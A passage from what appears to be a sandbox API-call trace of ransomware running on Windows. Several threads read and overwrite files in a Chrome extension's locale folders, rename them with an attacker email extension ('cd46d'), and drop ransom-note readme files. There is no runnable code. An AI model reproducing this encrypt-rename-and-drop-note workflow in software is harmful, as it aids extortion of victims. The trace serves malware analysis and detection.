Flags=0x8, Size=0x20) returned 0x938130 [0193.329] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9383d8 [0193.329] NtQuerySystemTime (in: CurrentTime=0xedefab8 | out: CurrentTime=0xedefab8*=132174899679322000) returned 0x0 [0193.329] RtlRandomEx (in: Seed=0xedefac4 | out: Seed=0xedefac4) returned 0x554f3e26 [0193.329] RtlRandomEx (in: Seed=0xedefac4 | out: Seed=0xedefac4) returned 0x193c2cf6 [0193.329] RtlRandomEx (in: Seed=0xedefac4 | out: Seed=0xedefac4) returned 0x7028cfad [0193.329] RtlRandomEx (in: Seed=0xedefac4 | out: Seed=0xedefac4) returned 0x252116cb [0193.329] RtlRandomEx (in: Seed=0xedefac4 | out: Seed=0xedefac4) returned 0x1226f68e [0193.329] RtlRandomEx (in: Seed=0xedefac4 | out: Seed=0xedefac4) returned 0x4df55b79 [0193.330] RtlRandomEx (in: Seed=0xedefac4 | out: Seed=0xedefac4) returned 0x40d201c3 [0193.330] RtlRandomEx (in: Seed=0xedefac4 | out: Seed=0xedefac4) returned 0x70c57581 [0193.330] RtlRandomEx (in: Seed=0xedefac4 | out: Seed=0xedefac4) returned 0x3958e828 [0193.330] RtlRandomEx (in: Seed=0xedefac4 | out: Seed=0xedefac4) returned 0x490ea4d3 [0193.330] RtlRandomEx (in: Seed=0xedefac4 | out: Seed=0xedefac4) returned 0x10bbb00f [0193.330] RtlRandomEx (in: Seed=0xedefac4 | out: Seed=0xedefac4) returned 0x2e2521a0 [0193.330] RtlRandomEx (in: Seed=0xedefac4 | out: Seed=0xedefac4) returned 0x2f1061b7 [0193.330] RtlRandomEx (in: Seed=0xedefac4 | out: Seed=0xedefac4) returned 0x4629cf2e [0193.330] RtlRandomEx (in: Seed=0xedefac4 | out: Seed=0xedefac4) returned 0x4fc78a2a [0193.330] RtlRandomEx (in: Seed=0xedefac4 | out: Seed=0xedefac4) returned 0x2b584426 [0193.330] RtlRandomEx (in: Seed=0xedefac4 | out: Seed=0xedefac4) returned 0x17e08341 [0193.330] RtlRandomEx (in: Seed=0xedefac4 | out: Seed=0xedefac4) returned 0x12aeb828 [0193.330] RtlRandomEx (in: Seed=0xedefac4 | out: Seed=0xedefac4) returned 0xb8ee092 [0193.330] RtlRandomEx (in: Seed=0xedefac4 | out: Seed=0xedefac4) returned 0x6010ce53 [0193.330] RtlRandomEx (in: Seed=0xedefac4 | out: Seed=0xedefac4) returned 0x4f3387ae [0193.330] RtlRandomEx (in: Seed=0xedefac4 | out: Seed=0xedefac4) returned 0x6ddf78b [0193.330] RtlRandomEx (in: Seed=0xedefac4 | out: Seed=0xedefac4) returned 0x52cd9eb3 [0193.330] RtlRandomEx (in: Seed=0xedefac4 | out: Seed=0xedefac4) returned 0xc9d1113 [0193.330] RtlRandomEx (in: Seed=0xedefac4 | out: Seed=0xedefac4) returned 0x203f61f5 [0193.330] RtlRandomEx (in: Seed=0xedefac4 | out: Seed=0xedefac4) returned 0x170a4781 [0193.330] RtlRandomEx (in: Seed=0xedefac4 | out: Seed=0xedefac4) returned 0x37f67c72 [0193.330] RtlRandomEx (in: Seed=0xedefac4 | out: Seed=0xedefac4) returned 0x178ad1c1 [0193.330] RtlRandomEx (in: Seed=0xedefac4 | out: Seed=0xedefac4) returned 0x2b121869 [0193.330] RtlRandomEx (in: Seed=0xedefac4 | out: Seed=0xedefac4) returned 0x1da1bcfa [0193.330] RtlRandomEx (in: Seed=0xedefac4 | out: Seed=0xedefac4) returned 0x2c8c71e6 [0193.330] RtlRandomEx (in: Seed=0xedefac4 | out: Seed=0xedefac4) returned 0xdd2a534 [0193.343] ReadFile (hFile=0x84c, lpBuffer=0x10e8d038, nNumberOfBytesToRead=0x11e, lpNumberOfBytesRead=0xedefab4, lpOverlapped=0x0) [0193.343] SetFilePointerEx (in: hFile=0x84c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.343] WriteFile (in: hFile=0x84c, lpBuffer=0x10e99840*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0xedefab0, lpOverlapped=0x0 | out: lpBuffer=0x10e99840*, lpNumberOfBytesWritten=0xedefab0*=0x11e, lpOverlapped=0x0) returned 1 [0195.750] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5940 [0195.750] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5e68 [0195.751] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5e68) returned 1 [0195.751] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x10e99840) returned 1 [0195.751] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x10e8d038) returned 1 [0195.755] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8b48) returned 1 [0195.755] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9330) returned 1 [0195.755] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x9289d8 [0195.755] SetFilePointerEx (in: hFile=0x84c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.755] WriteFile (in: hFile=0x84c, lpBuffer=0x12cf69b8*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0xedefb18, lpOverlapped=0x0 | out: lpBuffer=0x12cf69b8*, lpNumberOfBytesWritten=0xedefb18*=0x10b, lpOverlapped=0x0) returned 1 [0195.932] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf69b8) returned 1 [0195.932] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x928a08) returned 1 [0195.932] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5e68) returned 1 [0195.932] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9289d8) returned 1 [0195.932] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5940) returned 1 [0195.932] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938130) returned 1 [0195.932] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938400) returned 1 [0195.932] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938388) returned 1 [0195.932] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0x12cf7a30 [0195.932] wcscpy (in: _Dest=0x12cf7a30, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json" [0195.932] wcscat (in: _Dest=0x12cf7a30, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0195.932] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xedefad0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0195.933] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c8878 [0196.047] FlushFileBuffers (hFile=0x84c) returned 1 [0196.052] CloseHandle (hObject=0x84c) returned 1 [0196.120] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x9b5a30 [0196.120] wcscpy (in: _Dest=0x9b5a30, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\" [0196.120] wcscat (in: _Dest=0x9b5a30, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\CD46D-Readme.txt" [0196.120] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\cd46d-readme.txt")) returned 0xffffffff [0196.121] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13e0 [0196.214] WriteFile (in: hFile=0x13e0, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0xedefad8, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0xedefad8*=0x6fd, lpOverlapped=0x0) returned 1 [0196.215] CloseHandle (hObject=0x13e0) returned 1 [0196.215] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b5a30) returned 1 [0196.216] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d46e50) returned 1 Thread: id = 8097 os_tid = 0x13c4 [0189.212] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json")) returned 0x2020 [0189.213] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json", dwFileAttributes=0x20) returned 1 [0193.344] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x850 [0193.344] GetFileSizeEx (in: hFile=0x850, lpFileSize=0xe9ef7c4 | out: lpFileSize=0xe9ef7c4*=210) returned 1 [0193.344] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af4b0 [0193.344] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9383d8 [0193.344] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9383b0 [0193.344] NtQuerySystemTime (in: CurrentTime=0xe9ef724 | out: CurrentTime=0xe9ef724*=132174899679478000) returned 0x0 [0193.344] RtlRandomEx (in: Seed=0xe9ef730 | out: Seed=0xe9ef730) returned 0x386a06a8 [0193.345] RtlRandomEx (in: Seed=0xe9ef730 | out: Seed=0xe9ef730) returned 0x76c9a027 [0193.345] RtlRandomEx (in: Seed=0xe9ef730 | out: Seed=0xe9ef730) returned 0x25132b3d [0193.345] RtlRandomEx (in: Seed=0xe9ef730 | out: Seed=0xe9ef730) returned 0x353f86f2 [0193.345] RtlRandomEx (in: Seed=0xe9ef730 | out: Seed=0xe9ef730) returned 0x3b8b1c85 [0193.345] RtlRandomEx (in: Seed=0xe9ef730 | out: Seed=0xe9ef730) returned 0x634eabca [0193.345] RtlRandomEx (in: Seed=0xe9ef730 | out: Seed=0xe9ef730) returned 0x583d402e [0193.345] RtlRandomEx (in: Seed=0xe9ef730 | out: Seed=0xe9ef730) returned 0x4163a27d [0193.345] RtlRandomEx (in: Seed=0xe9ef730 | out: Seed=0xe9ef730) returned 0x48852115 [0193.345] RtlRandomEx (in: Seed=0xe9ef730 | out: Seed=0xe9ef730) returned 0x3633911 [0193.345] RtlRandomEx (in: Seed=0xe9ef730 | out: Seed=0xe9ef730) returned 0x4c3cdf59 [0193.345] RtlRandomEx (in: Seed=0xe9ef730 | out: Seed=0xe9ef730) returned 0x3f5dfff0 [0193.345] RtlRandomEx (in: Seed=0xe9ef730 | out: Seed=0xe9ef730) returned 0x4e08b5b4 [0193.345] RtlRandomEx (in: Seed=0xe9ef730 | out: Seed=0xe9ef730) returned 0x73669375 [0193.345] RtlRandomEx (in: Seed=0xe9ef730 | out: Seed=0xe9ef730) returned 0x6466ceca [0193.345] RtlRandomEx (in: Seed=0xe9ef730 | out: Seed=0xe9ef730) returned 0x5a627d95 [0193.345] RtlRandomEx (in: Seed=0xe9ef730 | out: Seed=0xe9ef730) returned 0x3ed17de0 [0193.345] RtlRandomEx (in: Seed=0xe9ef730 | out: Seed=0xe9ef730) returned 0x72c83079 [0193.345] RtlRandomEx (in: Seed=0xe9ef730 | out: Seed=0xe9ef730) returned 0x30d920df [0193.345] RtlRandomEx (in: Seed=0xe9ef730 | out: Seed=0xe9ef730) returned 0x3d37bcfc [0193.345] RtlRandomEx (in: Seed=0xe9ef730 | out: Seed=0xe9ef730) returned 0x73a6dc0b [0193.345] RtlRandomEx (in: Seed=0xe9ef730 | out: Seed=0xe9ef730) returned 0x49f62429 [0193.345] RtlRandomEx (in: Seed=0xe9ef730 | out: Seed=0xe9ef730) returned 0x3ba9b125 [0193.345] RtlRandomEx (in: Seed=0xe9ef730 | out: Seed=0xe9ef730) returned 0x713be004 [0193.345] RtlRandomEx (in: Seed=0xe9ef730 | out: Seed=0xe9ef730) returned 0x16df6ec1 [0193.345] RtlRandomEx (in: Seed=0xe9ef730 | out: Seed=0xe9ef730) returned 0x231b1b58 [0193.345] RtlRandomEx (in: Seed=0xe9ef730 | out: Seed=0xe9ef730) returned 0x62c9a179 [0193.345] RtlRandomEx (in: Seed=0xe9ef730 | out: Seed=0xe9ef730) returned 0x2524c7b [0193.345] RtlRandomEx (in: Seed=0xe9ef730 | out: Seed=0xe9ef730) returned 0x5544a100 [0193.345] RtlRandomEx (in: Seed=0xe9ef730 | out: Seed=0xe9ef730) returned 0x7a563e36 [0193.345] RtlRandomEx (in: Seed=0xe9ef730 | out: Seed=0xe9ef730) returned 0x30ed4ff9 [0193.345] RtlRandomEx (in: Seed=0xe9ef730 | out: Seed=0xe9ef730) returned 0x3113b7ed [0193.359] ReadFile (hFile=0x850, lpBuffer=0x10ea6048, nNumberOfBytesToRead=0xd2, lpNumberOfBytesRead=0xe9ef720, lpOverlapped=0x0) [0193.360] SetFilePointerEx (in: hFile=0x850, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.360] WriteFile (in: hFile=0x850, lpBuffer=0x12dba128*, nNumberOfBytesToWrite=0xd2, lpNumberOfBytesWritten=0xe9ef71c, lpOverlapped=0x0 | out: lpBuffer=0x12dba128*, lpNumberOfBytesWritten=0xe9ef71c*=0xd2, lpOverlapped=0x0) returned 1 [0195.755] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5fd0 [0195.755] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5b70 [0195.756] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5b70) returned 1 [0195.756] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12dba128) returned 1 [0195.758] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x10ea6048) returned 1 [0195.760] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8710) returned 1 [0195.760] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fa020) returned 1 [0195.760] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x928a38 [0195.760] SetFilePointerEx (in: hFile=0x850, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.760] WriteFile (in: hFile=0x850, lpBuffer=0x12cf5fe0*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0xe9ef784, lpOverlapped=0x0 | out: lpBuffer=0x12cf5fe0*, lpNumberOfBytesWritten=0xe9ef784*=0x10b, lpOverlapped=0x0) returned 1 [0195.937] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5fe0) returned 1 [0195.937] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x928a68) returned 1 [0195.937] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5b70) returned 1 [0195.937] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x928a38) returned 1 [0195.937] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5fd0) returned 1 [0195.938] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9383d8) returned 1 [0195.938] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938338) returned 1 [0195.938] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938360) returned 1 [0195.938] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0x12cf7100 [0195.938] wcscpy (in: _Dest=0x12cf7100, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json" [0195.938] wcscat (in: _Dest=0x12cf7100, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0195.938] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xe9ef73c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0195.938] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c8218 [0196.053] FlushFileBuffers (hFile=0x850) returned 1 [0196.064] CloseHandle (hObject=0x850) returned 1 [0196.124] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x9b6700 [0196.124] wcscpy (in: _Dest=0x9b6700, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\" [0196.124] wcscat (in: _Dest=0x9b6700, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\CD46D-Readme.txt" [0196.124] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\cd46d-readme.txt")) returned 0xffffffff [0196.124] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1394 [0196.146] WriteFile (in: hFile=0x1394, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0xe9ef744, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0xe9ef744*=0x6fd, lpOverlapped=0x0) returned 1 [0196.160] CloseHandle (hObject=0x1394) returned 1 [0196.177] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b6700) returned 1 [0196.177] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d46f88) returned 1 Thread: id = 8098 os_tid = 0xadc [0189.213] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json")) returned 0x2020 [0189.213] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json", dwFileAttributes=0x20) returned 1 [0193.361] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8fc [0193.361] GetFileSizeEx (in: hFile=0x8fc, lpFileSize=0xe39fca8 | out: lpFileSize=0xe39fca8*=222) returned 1 [0193.361] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af4b0 [0193.361] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9383b0 [0193.361] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9382e8 [0193.361] NtQuerySystemTime (in: CurrentTime=0xe39fc08 | out: CurrentTime=0xe39fc08*=132174899679634000) returned 0x0 [0193.362] RtlRandomEx (in: Seed=0xe39fc14 | out: Seed=0xe39fc14) returned 0x1b85c89b [0193.362] RtlRandomEx (in: Seed=0xe39fc14 | out: Seed=0xe39fc14) returned 0x46780ff4 [0193.362] RtlRandomEx (in: Seed=0xe39fc14 | out: Seed=0xe39fc14) returned 0x1097e4da [0193.362] RtlRandomEx (in: Seed=0xe39fc14 | out: Seed=0xe39fc14) returned 0x23dec3a4 [0193.362] RtlRandomEx (in: Seed=0xe39fc14 | out: Seed=0xe39fc14) returned 0x39c4d674 [0193.362] RtlRandomEx (in: Seed=0xe39fc14 | out: Seed=0xe39fc14) returned 0x1cc38ed [0193.362] RtlRandomEx (in: Seed=0xe39fc14 | out: Seed=0xe39fc14) returned 0x21daf77c [0193.362] RtlRandomEx (in: Seed=0xe39fc14 | out: Seed=0xe39fc14) returned 0x6414c36f [0193.362] RtlRandomEx (in: Seed=0xe39fc14 | out: Seed=0xe39fc14) returned 0x6a911944 [0193.362] RtlRandomEx (in: Seed=0xe39fc14 | out: Seed=0xe39fc14) returned 0x61b9cece [0193.362] RtlRandomEx (in: Seed=0xe39fc14 | out: Seed=0xe39fc14) returned 0x3d5a324 [0193.362] RtlRandomEx (in: Seed=0xe39fc14 | out: Seed=0xe39fc14) returned 0x3c8ddd79 [0193.362] RtlRandomEx (in: 